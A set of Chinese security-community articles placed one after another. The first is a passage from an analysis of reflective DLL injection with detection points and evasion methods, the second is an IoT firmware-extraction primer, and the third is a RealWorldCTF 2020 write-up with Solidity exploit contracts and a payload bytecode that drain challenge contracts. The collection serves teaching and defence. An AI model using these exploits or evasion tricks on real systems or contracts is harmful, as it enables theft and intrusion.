此时的地址是migrate stub汇编代码的地址，我们期望直接断在reflective loader的函数地址，我们通过
s -a 000001c1`60bb0000 L32000 MZ //000001c1`60bb0000为上面的lpStartAddress，3200为我们获取到的内存块大小
直接去搜MZ字串定位到meterpreter loader汇编的地址，进而定位到reflective loader的函数地址
meterpreter loader将reflective loader函数的地址放到rbx中，所以我们可直接断在此处，进入reflective
loader的函数，如下图所示
reflective loader首先call
000001c1`60bb5dc9也就是caller()函数，caller()函数的实现就比较简单了，一共两条汇编指令，起作用就是返回下一条指令的地址
在这里也就是0x000001c160bb5e08
获得下一条指令后的地址后，就会比较获取的地址的内容是否为MZ如果不是的话就会把获取的地址减一作为新地址比较，如果是的话，则会比较e_lfanew结构成员是否指向PE，若是则此时的地址作为dll的基地址。后面调试过程不在赘述。
# 四、检测方法
反射式dll注入技术有很多种检测方法，如内存扫描、IOA等。下面是以内存扫描为例，我想到的一些扫描策略和比较好的检测点。
扫描策略:
1. Hook敏感api，当发生敏感api调用序列时，对注入进程和被注入进程扫描内存。
2. 跳过InMemoryOrderModuleList中的dll。
检测点多是跟reflective loader函数的行为有关，检测点如下：
1. 强特征匹配_ReturnAddress()的函数。Reflectiveloader函数定位dos头的前置操作就是调用调用_ReturnAddress()函数获得当前dll的一个地址。
2. 扫描定位pe开头位置的代码逻辑。详见3.1节，我们可以弱匹配此逻辑。
3. 扫描特定的hash函数和hash值。在dll注入过程中，需要许多dll句柄和函数地址，所以不得不使用hash对比dll名称和函数名称。我们可以匹配hash函数和这些特殊的hash值。
4. 从整体上检测dll注入。在被注入进程其实是存在两份dll文件，一份是解析前的原pe文件，一份是解析后的pe文件。我们可以检测这两份dll文件的关系来确定是反射式dll注入工具。
深信服云主机安全保护平台CWPP能够有效检测此类利用反射式DLL注入payload的无文件攻击技术。检测结果如图所示:
# 五、攻防对抗的思考
对于标准的反射dll注入是有很多种检测方式的，主要是作者没有刻意的做免杀，下面对于我搜集到了一些免杀方式，探讨一下其检测策略。
1. 避免直接调用敏感api 。例如不直接调用writeprocessmemory等函数，而是直接用syscall调用。这种免杀方式只能绕过用户态的hook。对于内核态hook可以解这个问题。
2. dll在内存中的rwx权限进行了去除，变成rx。其实有好多粗暴的检测反射式dll注入的攻击方式，就是检测rwx权限的内存是否为pe文件。
3. 擦除nt头和dos头。这种免杀方式会直接让检测点4)影响较大，不能简单的校验pe头了，需要加入更精确的确定两个dll的文件，比如说，首先通过读取未解析的dll的SizeOfImage的大小，然后去找此大小的内存块，然后对比代码段是否一致，去判断是否为同一pe文件。
4. 抹除未解析pe文件的内存。这种免杀方式会导致检测点4)彻底失效，这种情况下我们只能对reflectiveloader()函数进行检测。
5. 抹除reflectiveloader()函数的内存。这里就比较难检测了。但是也是有检测点的，这里关键是如何确定这块内存是pe结构，重建pe结构之后，我们可以通过导出表去看导出函数是否被抹除。
# 六、参考文献
1. <https://bbs.pediy.com/thread-220405.htm>
2. <https://bbs.pediy.com/thread-224078.htm>
3. <https://github.com/sud01oo/ProcessInjection>
4. <https://github.com/stephenfewer/ReflectiveDLLInjection>
5. 《Windows PE权威指南》
6. <https://github.com/rapid7/metasploit-payloads>
* * * | 社区文章 |
作者：[独抒@伏宸安全实验室](https://mp.weixin.qq.com/s?__biz=MzUzNTEyMjMzMw==&mid=100000232&idx=1&sn=7c7125723f68e08b10b0078361b7565c&chksm=7a8b191a4dfc900cda0f3b2a7fe8c1b4675633c5bdbc062195ff14913c763b1e9132d7dea80d&mpshare=1&scene=1&srcid=1120lpRPA9yzs2fq5XGtEULc#rd
"伏宸安全实验室")
#### 前言
当我们在分析IOT设备，如智能摄像头、智能门锁、智能路由器等等产品时，采用传统的安全检测手段，如对APP的逆向、云端服务器的渗透测试、产品通信的抓包等方式可以获得部分的信息，但如果需要深入分析智能设备底层的工作原理，从中发现更深层次的安全问题，就不可避免的需要直接接触硬件本身，这也是传统安全手段未能触及的部分，据此，下面简单的谈下关于电路分析和芯片固件提取和调试的一点心得。
#### 电路识别
在对电路进行分析之前，需要对PCB电路图和电子元器件知识有简单的了解。
PCB（ Printed Circuit
Board），中文名称为印制电路板，又称印刷线路板，是重要的电子部件，是电子元器件的支撑体，是电子元器件电气连接的载体。由于它是采用电子印刷术制作的，故被称为“印刷”电路板。
#### 电子元器件
电子元件有着不同的封装类型，不同类的元件外形一样，但内部结构及用途是大不一样的，比如TO220封装的元件可能是三极管、可控硅、场效应管、或双二极管。TO-3封装的元件有三极管，集成电路等。二极管也有几种封装，玻璃封装、塑料封装及螺栓封装，二极管品种有稳压二极管、整流二极管、隧道二极管、快恢复二极管、微波二极管、肖特基二极管等，这些二极管都用一种或几种封装。贴片元件由于元件微小有的干脆不印字常用尺寸大多也就几种，所以没有经验的人很难区分，但贴片二极管及有极性贴片电容与其它贴片则很容易区分，有极性贴片元件有一个共同的特点，就是极性标志。对于元件识别可以看印字型号来区别，对于元件上没有字符的器件也可分析电路原理或用万用表测量元件参数进行判断。判断元件类型并非一朝一夕就能学会的，这需要多年积累的经验来认识。
#### ROM芯片
在对PCB和电子元器件有一定认知后，就可以开始分析其工作原理和芯片了，常见的IOT产品，一般采用嵌入式linux系统开发，对芯片分析主要目的之一就是获取到硬件系统的固件，从固件中分析可能存在的安全风险。
固件一般存储在ROM中，ROM是只读存储器（Read-Only
Memory）的简称，是一种只能读出事先所存数据的固态半导体存储器。其特性是一旦储存资料就无法再将之改变或删除。通常用在不需经常变更资料的电子或电脑系统中，并且资料不会因为电源关闭而消失。
常见的存储芯片按照存储读取方式和制作工艺不同，可以分为： ROM、PROM、EPROM、EEPROM、FLASH-ROM。
在大部分IOT产品中多采用flash芯片作为存储器，提取固件主要也是通过读取flash芯片。
#### Flash芯片
FLASH ROM属于真正的单电压芯片，在使用上很类似EEPROM，因此，有些书籍上便把FLASH
ROM作为EEPROM的一种。事实上，二者还是有差别的。FLASH
ROM在擦除时，也要执行专用的刷新程序，但是在删除资料时，并非以Byte为基本单位，而是以Sector（又称Block）为最小单位，Sector
的大小随厂商的不同而有所不同；只有在写入时，才以Byte为最小单位写入；FLASH
ROM芯片的读和写操作都是在单电压下进行，不需跳线，只利用专用程序即可方便地修改其内容；FLASH
ROM的存储容量普遍大于EEPROM，约为512K到至8M
KBit，由于大批量生产，价格也比较合适，很适合用来存放程序码，近年来已逐渐取代了EEPROM，广泛用于主板的BIOS ROM，也是CIH攻击的主要目标。
根据技术方式不同可分为： IIC EEPROM、SPI NorFlash 、CFI Flash、Parallel NandFlash、SPI
NandFlash、eMMC Flash、USF2.0等。
其中SPI
NorFlash因为接口简单，使用的引脚少，易于连接，操作方便，并且可以在芯片上直接运行代码，其稳定性出色，传输速率高，在小容量时具有很高的性价比，这使其很适合应于嵌入式系统中作为
FLASH ROM，所以在市场的占用率非常高。
我们通常见到的S25FL128、MX25L1605、W25Q64等型号都是SPI
NorFlash，其常见的封装多为SOP8，SOP16，WSON8，US0N8，QFN8、BGA24等。
#### 芯片印字
一般PCB上有多块逻辑处理IC，在多个IC芯片中，可以通过分析电路原理和查找芯片印字来确定具体的存储芯片。
芯片上的丝印大多数情况会注明厂商和芯片型号，通过印字可以初步确定芯片类型，同时丝印层的文字也可以帮助我们来确定存储的格式和大小，常见的W25芯片的印字含义如下：
#### 编程器
读取Flash芯片，需要借助编程器，编程器又称烧录器、写入器、写码器，是专门用来对IC芯片进行读写、编程/烧录的仪器。
并口多功能BIOS编程器，它可以对EPROM（27系列芯片）、EEPROM（28系列芯片）、FLASH
ROM（29、39、49系列芯片）及单片机、串行芯片等进行读写、编程，是一种性价比较高的编程器。
编程器种类多样，从功能简单的专用型到功能全面的全功能通用型都有，价格从几十元到上万元不等。
#### 串口通信
串口通信指串口按位（bit）发送和接收字节。尽管比按字节（byte）的并行通信慢，但是串口可以在使用一根线发送数据的同时用另一根线接收数据。在串口通信中，常用的协议包括RS-232、RS-422和RS-485。
RS-232通信方式允许简单连接三线：Tx、Rx和地线。但是对于数据传输，双方必须对数据定时采用使用相同的波特率。
RS-422标准全称是“平衡电压数字接口电路的电气特性”，在RS232后推出，使用TTL差动电平表示逻辑，就是两根的电压差表示逻辑，RS422定义为全双工的，所以最少要4根通信线（一般额外地多一根地线）。
RS485是一个定义平衡数字多点系统中的驱动器和接收器的电气特性的标准，RS-485与RS-422的区别在于RS-485为半双工通信方式，RS-422为全双工方式。RS-422用两对平衡差分信号线分别用于发送和接收，所以采用RS-422接口通信时最少需要4根线。RS-485只用一对平衡差分信号线，不能同时发送和接收，最少只需两根连线。
#### UART调试
通用异步收发传输器（Universal Asynchronous
Receiver/Transmitter)，通常称作UART，是一种异步收发传输器，是电脑硬件的一部分。它将要传输的资料在串行通信与并行通信之间加以转换。作为把并行输入信号转成串行输出信号的芯片，UART通常被集成于其他通讯接口的连结上。
对于物联网硬件的串口调试，多数情况下指的就是通过UART串口进行数据通讯， 但是我们经常搞不清楚它和COM口的区别, 以及RS232, TTL等关系,
实际上UART、COM指的物理接口形式(硬件), 而TTL、RS-232是指的电平标准(电信号).
UART有4个pin（VCC, GND, RX, TX）, 用的TTL电平，
低电平为0(0V)、高电平为1（3.3V或以上），Uart串口的RXD、TXD等一般直接与处理器芯片的引脚相连，而RS232串口的RXD、TXD等一般需要经过电平转换(通常由Max232等芯片进行电平转换)才能接到处理器芯片的引脚上，否则这么高的电压很可能会把芯片烧坏。
在调试的时候,
多数情况下我们只引出rx、tx、gnd即可，但是UART的数据要传到电脑上分析就要匹配电脑的接口，通常我们电脑使用接口有COM口和USB口（最终在电脑上是一个虚拟的COM口），但是要想连上这两种接口都要需要进行硬件接口转换和电平转换。
#### 设备拆解
对于一台未接触过的机器，拆解首先需要观察其外部结构，是否存在暴露的螺丝孔，如果没有，一般可能隐藏在贴纸或橡胶垫下面，可以用手感受是否存在空洞，部分机器采用卡榫结构，只要找对方向，用一字螺丝刀或撬片，从缝隙中就可以撬开，拆解设备唯一的要诀就是胆大心细。部分常用工具如下：
维修组合套装，用来拆装各类螺丝，PCB夹用来拔出排线，手电筒用来观察芯片印字和PCB走线，PCB测试夹用来夹住某些难以焊接的焊点，排线用来连接各类电子设备，热风枪和焊枪用来拆焊和锡焊。
#### 常见物联网智能设备
共享充电宝，采用gprs模块配合物联卡与云端通信
蓝牙挂锁，通过蓝牙芯片与手机配对通信，蓝牙控制电机驱动，使卡锁运转
共享充电宝，采用GSM模块加蓝牙模块控制通信
智能锁，WIFI芯片加蓝牙芯片配合控制，外接指纹识别传感器
智能摄像头，采用WIFI芯片通信，外接音频、视频处理模块
网络摄像机，采用网卡芯片，配合多口输出输入视频信号模块
智能路由器，高容量内存搭配智能OS
智能家居控制终端，高性能WIFI收发中继控制
智能保险柜，采用WIFI芯片控制加指纹识别传感器
无线终端，采用4G模块和WIFI芯片，做便携式WIFI终端
#### 读取芯片
为了读取Flash芯片的内容，有以下三个基本途径：
（1）直接将导线连接到芯片的引脚，在通过导线连接编程器读取固件；
（2）把芯片拆下来，在连接编程器读取固件。
（3）连接TXD、RXD调试PIN，通过UART串口转接读取固件。
根据Flash芯片的封装方式和电路设计不同，需要灵活采用不同的方式。
#### 参考文献
中国通信协会相关文献 <http://www.china-cic.cn/>
美国电子工业协会相关标准 <https://www.eia.gov/>
* * * | 社区文章 |
# RealWorldCTF 2020 以太坊题目两则：EasyDefi & Re:Montagy
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
RealWorld CTF 两道以太坊智能合约题目的事后复现。
## EasyDefi
本题模拟的是 DeFi 生态的闪电贷，关于 DeFi 和闪电贷的知识不多介绍，参考上图可以看出本题主要基于 UniswapV2
的架构进行修改，所以这里简单介绍一下 Uniswap 的闪电贷机制。
> UniswapV2版本上线了闪电贷[FlashSwap](https://uniswap.org/docs/v2/smart-contract-> integration/using-flash-> swaps/)的功能，该功能允许任何人在调用任意pair合约的swap方法时，可以先从Uniswap的交易池中借出一定数量的代币，从其他合约中进行套利，随后给pair返还足够的代币，最终实现近乎0成本的套利行为。
### swap
我们可以调用一个 pair 合约的 swap 方法，从中借出一定数目的 token0 和 token1，然后将借出的 token0 和 token1
到另一个汇率不同的市场上卖出，再归还之前借出的 token0 和 token1，剩余的 token0 和 token1 即为本次交易的套利收益。
// 表示从 pair 合约中借出 10 个 Token0，0 个 Token1，然后套利合约的地址是 flashSwapAddr，data 是传递的参数
swap(10, 0, flashSwapAddr, data)
### 套利合约
套利合约即完成 “将借出的 token0 和 token1 到另一个汇率不同的市场上卖出，再归还之前借出的 token0 和 token1”
这一步的合约实现，它实现了 UniswapV2 所定义的如下接口，以供 UniswapV2Pair 在进行 swap 时对外部合约进行调用：
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
本题中对应的实现分别是 `ChaitinPair` 和 `IChaitinCallee`：
interface IChaitinCallee {
function ChaitinCall(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
contract ChaitinPair is IChaitinPair, ChaitinERC20 {
// 省略其他
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'Chaitin: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'Chaitin: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'Chaitin: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IChaitinCallee(to).ChaitinCall(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'Chaitin: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(10000).sub(amount0In.mul(25));
uint balance1Adjusted = balance1.mul(10000).sub(amount1In.mul(25));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'Chaitin: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
}
### 解题
回到题目，根据题目中的代码信息在 GitHub 可以搜到另一份非常类似的代码
<https://github.com/AshSwapEm/Pokeswap/>
直接对比两份代码，可以看到从 `PokeFactory.sol` 到 `ChaitinFactory.sol` 在 `swap()` 函数处有很明显的修改：
这也就意味着，当我们通过 `swap()` 借出 Token 时，可以通过套利合约归还比借出数目更少的 Token 进而获利。
回到 `ChaitinBank` 合约，根据题目的需求，我们需要获得超过 80 的 FlagToken，但我们通过 swap 只能获得
FeiToken，因此需要通过 `depositFeiCointoFlag()` 将 FeiToken 转换成 FlagToken，而兑换比例由
`calcFeiCoinValue()` 决定。
contract ChaitinBank {
using SafeMath for uint256;
address public feicoin;
address public owner;
IERC20 public flagToken;
address public chaitinFeifeiTokenPair;
address public chaitinSwap;
uint256 public CTTperFlag;
constructor(address _feicoin, address _owner, address _flagToken, address _chaitinFeifeiTokenPair, address _chaitinSwap, uint256 _CTTperFlag) public {
feicoin = _feicoin;
flagToken = IERC20(_flagToken);
owner = _owner;
chaitinFeifeiTokenPair = _chaitinFeifeiTokenPair;
CTTperFlag = _CTTperFlag;
chaitinSwap = _chaitinSwap;
}
function calcFeiCoinValue() public view returns(uint256 value){
(uint256 reserve0, uint256 reserve1, uint32 time ) = IPokePair(chaitinFeifeiTokenPair).getReserves(); //TODO:params
address token0 = IPokePair(chaitinFeifeiTokenPair).token0();
if(token0 == feicoin){
value = IPokeRouter01(chaitinSwap).getAmountOut( 10, reserve0, reserve1);
}else{
value = IPokeRouter01(chaitinSwap).getAmountOut( 10, reserve1, reserve0);
}
return value;
}
// Enter the bank. Pay some feifeicoin. Earn some Flags.
function depositFeiCointoFlag(uint256 _amount) public {
IERC20(feicoin).transferFrom(msg.sender, address(this), _amount);
uint256 valueOfFeicoin = calcFeiCoinValue(); // exchange feicoin to ChaitinCoin
uint256 exceptFlagsAmount = valueOfFeicoin * ( _amount / 10 ) / CTTperFlag;
uint256 flagsAmount = 0;
if(exceptFlagsAmount <= flagToken.balanceOf(address(this))){
flagsAmount = exceptFlagsAmount;
}else{
flagsAmount = flagToken.balanceOf(address(this));
}
flagToken.transfer(msg.sender, flagsAmount);
}
// Leave the Flags. Claim back your FeiCoins.
function leaveFlagstoFeiCoin(uint256 _amount) public { //TODO: how to define
flagToken.transferFrom(msg.sender, address(this), _amount);
uint256 valueOfFeicoin = calcFeiCoinValue();
uint256 exceptFeicoinAmount = _amount * CTTperFlag / valueOfFeicoin;
uint256 feicoinsAmount = 0;
if (exceptFeicoinAmount <= IERC20(feicoin).balanceOf(address(this))){
feicoinsAmount = exceptFeicoinAmount;
}else{
feicoinsAmount = IERC20(feicoin).balanceOf(address(this));
}
IERC20(feicoin).transfer(msg.sender, feicoinsAmount);
}
}
可以看到 `calcFeiCoinValue()` 的返回值与 `getAmountOut()` 有关，继续定位 `getAmountOut()` 的实现：
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'ChaitinLibrary: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'ChaitinLibrary: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(9975);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(10000).add(amountInWithFee);
amountOut = numerator / denominator;
}
如果我们希望通过 FeiToken 尽可能多地兑换 FlagToken ，那么需要 `getAmountOut()` 返回的值尽可能大，因此需要保证
`reserveIn << reserveOut`，也就是说，我们需要在调用 `swap()` 函数的时候，要尽可能多地获得
`FeiToken`，这样剩下的 ChaitinToken 就会远远大于 FeiToken，拉高我们的兑换比例。
一开始，Pair 中有 100*(10**18) 的 FeiToken 和 100*(10**18) 的 ChaitinToken，如果借出
99*(10**18) 的 FeiToken，再归还 1 FeiToken，按照 `swap()` 函数的计算方法，恰好满足借贷成功的条件：
balance0 = 10**18 + 1
balance1 = 100*(10**18)
amount0In = 1
amount1In = 0
_reserve0 = 100*(10**18)
_reserve0 = 100*(10**18)
balance0Adjusted = 10000000000000000009975 # balance0 * 10000 - amount0In * 25
balance1Adjusted = 1000000000000000000000000 # balance1 * 10000 - amount1In * 25
balance0Adjusted * balance1Adjusted >= _reserve0 * _reserve1 * (1000**2) # True
此时我们从 Pair 中获得了 98999999999999999999 FeiToken，如果全部用于兑换 FlagToken
的话，按照计算公式，`calcFeiCoinValue()` 返回的值是 997：
reserveIn = balance0
reserveOut = balance1
amountIn = 10
amountInWithFee = amountIn * 9975
numerator = amountInWithFee * reserveOut
denominator = reserveIn * 10000 + amountInWithFee
amountOut = numerator / denominator # 997
在这个兑换条件下，我们将拥有的 FeiToken 全部转换为 FlagToken，即可满足题目要求。
按照思路，编写 poc：
pragma solidity ^0.6.0;
import './ChaitinBank.sol';
interface IChaitinCallee {
function ChaitinCall(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
contract Solve is IChaitinCallee {
IERC20 chaitinToken;
IERC20 feiToken;
IERC20 flagToken;
ChaitinBank bank;
IPokePair pair;
constructor(address _chaitinToken, address _feiToken, address _flagToken, address _bank, address _pair) public {
chaitinToken = IERC20(_chaitinToken);
feiToken = IERC20(_feiToken);
flagToken = IERC20(_flagToken);
bank = ChaitinBank(_bank);
pair = IPokePair(_pair);
}
// 实现接口
function ChaitinCall(address sender, uint amount0, uint amount1, bytes calldata data) override external {
feiToken.transfer(address(pair), 1);
}
function attack() public {
uint256 amount = feiToken.balanceOf(pair);
uint256 targetAmount = amount / 100 * 99;
// 利用漏洞获得 99 PDT
pair.swap(targetAmount, 0, address(this), new bytes(1));
uint256 receiveAmount = feiToken.balanceOf(address(this));
feiToken.approve(address(bank), receiveAmount);
// 将 99PDT 通过 ChaitinBank 兑换成 FlagToken
bank.depositFeiCointoFlag(receiveAmount);
// 将 FlagToken 转移到自己的外部账户中
uint256 flagAmount = flagToken.balanceOf(address(this));
flagToken.transfer(msg.sender, flagAmount);
}
}
## Re:Montagy
Re:Montagy 是去年题目 Montagy 的 revenge 版本，用于复现的合约地址
Ropsten@0x4058c4b40A02977Cb1626f7dCd100438d2CC4E51
## 源码
pragma solidity ^0.5.11;
contract Montagy{
address payable public owner;
mapping(bytes32=>uint256) registeredIDLength;
mapping(address=>bytes32) puzzleID;
address public lastchildaddr;
string public winnerinfo;
constructor() public payable{
owner = msg.sender;
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
modifier onlyPuzzle(){
require(puzzleID[msg.sender] != 0);
_;
}
function registerCode(bytes memory a) public onlyOwner {
registeredIDLength[tag(a)] = a.length;
}
function newPuzzle(bytes memory code) public returns(address addr){
bytes32 id = tag(code);
require(registeredIDLength[id] == code.length);
addr = deploy(code);
lastchildaddr = addr;
puzzleID[addr] = id;
}
function solve(string memory info) public onlyPuzzle {
owner.transfer(address(this).balance);
winnerinfo = info;
}
function deploy(bytes memory code) private returns(address addr){
assembly {
addr := create(0,add(code,0x20), mload(code))
if eq(extcodesize(addr), 0) { revert(0, 0) }
}
}
function tag(bytes memory a) pure public returns(bytes32 cs){
assembly{
let groupsize := 16
let head := add(a,groupsize)
let tail := add(head, mload(a))
let t1 := 0x21711730
let t2 := 0x7312f103
let m1,m2,m3,m4,p1,p2,p3,s,tmp
for { let i := head } lt(i, tail) { i := add(i, groupsize) } {
s := 0x6644498b
tmp := mload(i)
m1 := and(tmp,0xffffffff)
m2 := and(shr(0x20,tmp),0xffffffff)
m3 := and(shr(0x40,tmp),0xffffffff)
m4 := and(shr(0x60,tmp),0xffffffff)
for { let j := 0 } lt(j, 0x10) { j := add(j, 1) } {
s := and(add(s, 0x68696e74),0xffffffff)
p1 := sub(mul(t1, 0x10), m1)
p2 := add(t1, s)
p3 := add(div(t1,0x20), m2)
t2 := and(add(t2, xor(p1,xor(p2,p3))), 0xffffffff)
p1 := add(mul(t2, 0x10), m3)
p2 := add(t2, s)
p3 := sub(div(t2,0x20), m4)
t1 := and(add(t1, xor(p1,xor(p2,p3))), 0xffffffff)
}
}
cs := xor(mul(t1,0x100000000),t2)
}
}
}
可以看到题目本身的考点非常明确：我们最终的目的是调用 `solve(string memory info)`，但由于修饰符 `onlyPuzzle`
的限制，只能通过由 `newPuzzle(bytes memory code)` 部署的合约来调用该方法。而能通过 `newPuzzle()`
部署的合约，其对应的哈希必须先由 `registerCode(bytes memory a)` 注册，所以我们的目的就变成了，构造出一个能调用
`solve()` 函数的合约，且该合约通过 `tag()` 函数计算的哈希和出题人注册过的哈希相同。
本题跟去年的 Montagy 比主要有两点变化：
1. `require(registeredIDLength[id] == code.length)`，所以要求我们部署合约的 bytecode 长度需要和原长度一样
2. `for { let j := 0 } lt(j, 0x10) { j := add(j, 1) }` 轮次迭代到 16 次，所以无法像去年一样使用 z3 进行求解
### 非预期解（爆破）
简单说，就是我们构造一个直接调用的合约然后通过枚举的方式来尝试出可能的 padding，使得我们 padding
过后的字节码的哈希和出题人部署合约的哈希一致。关于爆破方法可以参考 pikachu 师傅写的 wp：[第三届realworld
区块链wp](https://hitcxy.com/2021/rw2021/)，非常巧妙地用了从两个方向同时枚举的方法来爆破哈希，这里只贴一下我用该方法编写的
poc 和最终的 payload:
pragma solidity ^0.5.10;
contract Montagy{
function solve(string memory info) public;
}
contract Solve{
Montagy public server;
constructor() public{
server = Montagy(0x4058c4b40A02977Cb1626f7dCd100438d2CC4E51);
}
function solve() public {
server.solve("syang solve");
}
}
// pyaload bytecode
0x608060405234801561001057600080fd5b50734058c4b40a02977cb1626f7dcd100438d2cc4e516000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506101d6806100746000396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c806341c0e1b514610046578063890d690814610050578063fd922a421461005a575b600080fd5b61004e6100a4565b005b6100586100bd565b005b61006261017c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3373ffffffffffffffffffffffffffffffffffffffff16ff5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166376fe1e926040518163ffffffff1660e01b815260040180806020018281038252600b8152602001807f7379616e6720736f6c7665000000000000000000000000000000000000000000815250602001915050600060405180830381600087803b15801561016257600080fd5b505af1158015610176573d6000803e3d6000fd5b50505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff168156fea265627a7a72305820b2655431011fa078095ed57c4d53d917761ecbc527ff660e30c138121a6b421d64736f6c634300050a00320000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007d697cf90000000000000000000000001c956f070000000800000000000000000032
### 预期解
本题用魔改的 TEA 算法作为散列函数来计算哈希，预期解应该是 TEA 算法的等效密钥问题：
>
> 值得注意的是，TEA算法中的密钥中存在缺陷。每一个key都等效于其他算法中的三个key，这意味着实际上key中只有126bit会生效。因此，TEA算法的散列性能不好。这个弱点甚至导致了Xbox被黑客攻击。
根据[相关资料](https://www.tayloredge.com/reference/Mathematics/VRAndem.pdf)的介绍，对于任意一个
TEA 算法的任意一个 128bit 密钥 `K = (K[0], K[1], K[2], K[3])`，存在以下三个密钥同它等效：
(K[0]+0x80000000, K[1]+0x80000000, K[2], K[3])
(K[0]+0x80000000, K[1]+0x80000000, K[2]+0x80000000, K[3]+0x80000000)
(K[0]+0x80000000, K[1]+0x80000000, K[2]+0x80000000, K[3]+0x80000000)
举个例子，对于密钥 `00000000000000000000000000000000`，等效密钥有:
80000000800000000000000000000000
00000000000000008000000080000000
80000000800000008000000080000000
而应用到本题中，则是这些等效密钥经过散列函数后的结果都是相同的：
tag(0x00000000000000000000000000000000) == 0x2c5f3e1643c34d6e
tag(0x80000000800000000000000000000000) == 0x2c5f3e1643c34d6e
tag(0x00000000000000008000000080000000) == 0x2c5f3e1643c34d6e
tag(0x80000000800000008000000080000000) == 0x2c5f3e1643c34d6e
这也就意味这我们能改动合约的几个特定 bit，而不会对合约的哈希计算造成任何的影响。这里我们可以写一个小脚本来查看有哪些 bit 是我们可以改动的：
def print_key(a):
if len(a) % 32 != 0:
a += '0'*(32 - len(a) % 32)
for i in range(0, len(a), 32):
tmp = int(a[i:i+32], 16)
m1 = tmp & 0xffffffff
m2 = (tmp >> 0x20) & 0xffffffff
m3 = (tmp >> 0x40) & 0xffffffff
m4 = (tmp >> 0x60) & 0xffffffff
print(hex(m4)[2::].zfill(8), hex(m3)[2::].zfill(8), hex(m2)[2::].zfill(8), hex(m1)[2::].zfill(8))
下面继续来看 `Puzzle` 合约，很明显需要改动的是 `keccak256(seed) ==
bytes32(bytes18(0x6111d850336107ef16565b908018915a9056))` 这个条件，因为在目前的条件下，爆破
keccak256 的哈希是一件几乎不可能的事情。
contract Puzzle{
Montagy public server;
constructor() public{
server = Montagy(msg.sender);
}
uint256 a;
uint256 b;
uint256 c;
uint256 d;
uint256 e;
uint256 f;
uint256 g;
uint256 h;
uint256 i;
function monica_init(uint256 _a, uint256 _b, uint256 _c, uint256 _d, uint256 _e, uint256 _f, uint256 _g, uint256 _h, uint256 _i) public {
a=_a;
b=_b;
c=_c;
d=_d;
e=_e;
f=_f;
g=_g;
h=_h;
i=_i;
}
function loose() view public returns(bool){
uint256 t1 = (a^b^c)+(d^e^f)+(g^h^i);
uint256 t2 = (a+d+g)^(b+e+h)^(c+f+i);
require(t1 + t2 < 0xaabbccdd);
require(t1 > 0x8261e26b90505061031256e5afb60721cb);
require(0xf35b6080614321368282376084810151606401816080016143855161051756 >= t1*t2);
require(t1 - t2 >= 0x65e670d9bd540cea22fdab97e36840e2);
return true;
}
function harsh(bytes memory seed, string memory info) public{
require(loose());
if (keccak256(seed) == bytes32(bytes18(0x6111d850336107ef16565b908018915a9056))) {
server.solve(info);
}
}
}
很幸运的是，我们发现恰好可以此处比较的逻辑：`20012010 1561049a 57600080 90549061` 修改为 `a0012010
9561049a 57600080 90549061`，可以发现合约的字节码有了如下变化：
